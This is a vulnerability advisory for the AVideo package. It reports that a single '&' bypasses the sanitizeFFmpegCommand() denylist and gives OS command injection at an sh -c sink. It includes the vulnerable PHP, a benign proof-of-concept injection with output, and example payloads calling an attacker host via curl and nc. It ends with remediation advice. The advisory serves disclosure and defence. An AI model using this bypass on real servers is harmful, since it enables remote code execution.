PT-2026-51639 · Packagist · Wwbn Avideo
Published
2026-06-23
·
Updated
2026-06-23
·
CVE-2026-55173
CVSS v3.1
8.1
High
| Vector | AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
Summary
The fix for CVE-2026-33482 (GHSA-pmj8-r2j7-xg6c) is incomplete. That advisory reported that
sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, , r to the denylist character class and a str replace('&&', '', ...). It still does not neutralize a single & (the shell background operator), which remains a command separator at the unchanged sink. Same entry point, same sink, same impact as the original — only the surviving metacharacter differs.Verified at master HEAD.
The surviving gap
HEAD
sanitizeFFmpegCommand (functions.php):php
$command = str replace('&&', '', $command); // only the doubled form
$command = preg replace('/s*&?>.*(?:2>&1)?/', '', $command); // strips '&' only when followed by '>'
$command = preg replace('/[;|`<>$()
r{}]/', '', $command); // char class has no '&'
// then requires the result to start with 'ffmpeg'A single
& is therefore preserved. ffmpeg ... & <cmd> passes the sanitizer and the strpos(trim($command),'ffmpeg')===0 prefix gate.Sink (unchanged)
plugin/API/standAlone/ffmpeg.json.php:418 -> execAsync($ffmpegCommand, $keyword). In objects/functionsExec.php::execAsync:php
$command = addcslashes($command, '"'); // line 686 — escapes only the double-quote
$commandWithKeyword = "nohup sh -c "$command & echo $! > /tmp/$keyword.pid" > /dev/null 2>&1 &"; // line 705
exec($commandWithKeyword, ...); // line 712 — PHP exec() runs via /bin/sh -cThe sanitized command is embedded inside an inner
sh -c "...". A bare & in $command separates commands for that inner shell, so the injected command executes. addcslashes escaping only " does not stop &.Reachability
ffmpeg.json.php builds the command from decryptString(getInput('codeToExecEncrypted')). This is the same threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (AV:N/AC:H/PR:N).Proof (poc/poc ampersand bypass.php, poc/OUTPUT.txt)
Byte-faithful PHP harness:
sanitizeFFmpegCommand copied verbatim from HEAD + the execAsync sh -c wrapping copied from functionsExec.php:attacker input : ffmpeg -i input.mp4 & touch /tmp/avideo amp rce proof & echo done out.mp4
after sanitize : ffmpeg -i input.mp4 & touch /tmp/avideo amp rce proof & echo done out.mp4
ampersand survived : YES passes prefix : YES
final sh -c string:
nohup sh -c "ffmpeg -i input.mp4 & touch /tmp/avideo amp rce proof & echo $! > /tmp/testkw.pid" > /dev/null 2>&1 &
>> injected touch executed: YES (/tmp/avideo amp rce proof)The sanitizer leaves
& intact and the injected touch runs at the sink.Impact
Arbitrary OS command execution on the standalone encoder server, identical to CVE-2026-33482. Multiple
&-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the > strip, but command execution (e.g. & curl http://attacker/..., & nc ..., dropping/running a file) is not.Remediation
Stop applying a metacharacter denylist to a
sh -c sink. Build the ffmpeg invocation as an argv array with escapeshellarg() per token (the project already uses escapeshellarg() at 137 sites) instead of interpolating $command into sh -c "...". If the denylist is kept as defense-in-depth, add & to the stripped set — but the denylist approach has now missed two metacharacters in a row ($() then &).Fix
OS Command Injection
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Wwbn Avideo